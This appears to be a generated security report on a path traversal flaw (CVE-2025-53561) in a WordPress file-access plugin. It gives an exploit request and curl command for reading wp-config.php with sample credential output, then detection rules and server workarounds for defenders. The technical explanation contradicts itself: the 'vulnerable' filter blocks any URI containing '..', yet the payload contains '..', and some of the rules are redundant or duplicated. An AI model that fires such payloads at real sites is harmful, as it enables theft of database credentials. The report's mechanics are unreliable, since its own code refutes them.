CVE-2025-53561

Executive Summary

CVE-2025-53561 is a Path Traversal vulnerability in the miniOrange Prevent files / folders access WordPress plugin, affecting versions from n/a through 2.6.0. The vulnerability uses the .../...// pattern to bypass directory traversal protections, allowing an unauthenticated attacker to read arbitrary files outside the intended web root. This is a WordPress ecosystem issue; the plugin fails to properly sanitize user-supplied path inputs, enabling access to sensitive files such as wp-config.php, /etc/passwd, or other system files.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are affected. No official patch has been released as of this report. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated file read, which can lead to disclosure of sensitive configuration data, database credentials, and other secrets. However, it does not allow code execution or data modification.

Deep Dive & Mechanics

The vulnerability resides in the plugin's file access prevention logic. The plugin attempts to block direct access to files by checking the requested path. However, it fails to properly normalize paths that contain the .../...// sequence. This sequence bypasses simple string-based filters because:

• ... is not a standard directory traversal (which uses ..).
• The double slash // may be interpreted by the operating system as a single slash, but the plugin's filter does not account for this.
• When the path is normalized by the web server or PHP, .../...// effectively becomes ../../, allowing traversal outside the plugin's intended directory.

For example, a request to:

/wp-content/plugins/prevent-files-access/.../...//.../...//wp-config.php

would be normalized to:

/wp-content/plugins/prevent-files-access/../../wp-config.php

which resolves to the WordPress root's wp-config.php.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.6.0):

// Simplified vulnerable logic
$request_uri = $_SERVER['REQUEST_URI'];
if (strpos($request_uri, '..') !== false) {
    // Block request
    die('Access denied');
}
// Process file

Patched Code (Hypothetical):

// Patched logic using realpath
$request_uri = $_SERVER['REQUEST_URI'];
$real_path = realpath($request_uri);
$allowed_dir = realpath(ABSPATH . '/wp-content/plugins/prevent-files-access/');
if (strpos($real_path, $allowed_dir) !== 0) {
    die('Access denied');
}
// Process file

The vulnerable code only checks for the literal .. string, which can be bypassed with .../...//. The patched code uses realpath() to resolve the canonical path and then verifies it starts with the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed (version <= 2.6.0).
• Knowledge of the WordPress installation path (default: /wp-content/plugins/prevent-files-access/).

Exploit Steps:

1. Identify the vulnerable plugin path: /wp-content/plugins/prevent-files-access/
2. Craft a path traversal payload using .../...//:

   GET /wp-content/plugins/prevent-files-access/.../...//.../...//wp-config.php HTTP/1.1
   Host: target.com
   

3. The server will return the contents of wp-config.php, revealing database credentials and salts.

Example cURL command:

curl -v "http://target.com/wp-content/plugins/prevent-files-access/.../...//.../...//wp-config.php"

Expected Output:

<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'secret');
define('DB_HOST', 'localhost');
// ...

Blue Team

Detection:

• Monitor web server logs for requests containing .../...// or multiple .. sequences.
• Look for requests to plugin directories followed by unusual path components.
• Alert on any access to wp-config.php or other sensitive files outside the plugin's scope.

Hunting:

• Search for HTTP requests with URIs matching: .*/prevent-files-access/.*\.\.\..*
• Correlate with file access logs to identify successful reads of sensitive files.

Lab Setup:

1. Install WordPress on a local server (e.g., using Docker).
2. Install the vulnerable plugin version 2.6.0.
3. Use the exploit above to verify the vulnerability.
4. Implement the patched code and verify it blocks the attack.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/prevent-files-access/.../...//.../...//wp-config.php
• HTTP Request Patterns: GET /wp-content/plugins/prevent-files-access/.../...//
• Log Entries: URIs containing .../...// or multiple .. sequences.
• Accessed Files: wp-config.php, .htaccess, /etc/passwd, /etc/shadow (if accessible).

Detection Engineering

YARA Rule

rule CVE_2025_53561_Path_Traversal {
    meta:
        description = "Detects path traversal attempts using .../...// pattern for CVE-2025-53561"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53561"
    strings:
        $traversal = /\.\.\.\/\.\.\.\/\// nocase
        $wp_config = "wp-config.php" nocase
    condition:
        $traversal or ($traversal and $wp_config)
}

Sigma Rule

title: CVE-2025-53561 Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting path traversal in miniOrange Prevent files/folders access plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - '.../...//'
            - '.../...//'
    condition: selection
falsepositives:
    - Legitimate use of triple dots in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53561 Path Traversal Attempt"; flow:to_server,established; content:".../...//"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing .../...// in the URI.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Long-term Fix:

• The vendor must release a patched version that uses realpath() or similar path normalization before checking directory boundaries.
• Users should update to the latest version once available.

Workaround:

• Add the following rule to .htaccess (Apache) or nginx.conf (Nginx) to block the traversal pattern:

Apache (.htaccess):

RewriteEngine On
RewriteCond %{REQUEST_URI} \.\.\./\.\.\.//
RewriteRule .* - [F,L]

Nginx (nginx.conf):

location ~ \.\.\./\.\.\.// {
    deny all;
    return 403;
}

Valters IT
This report is generated for educational and defensive purposes only. Unauthorized exploitation is illegal.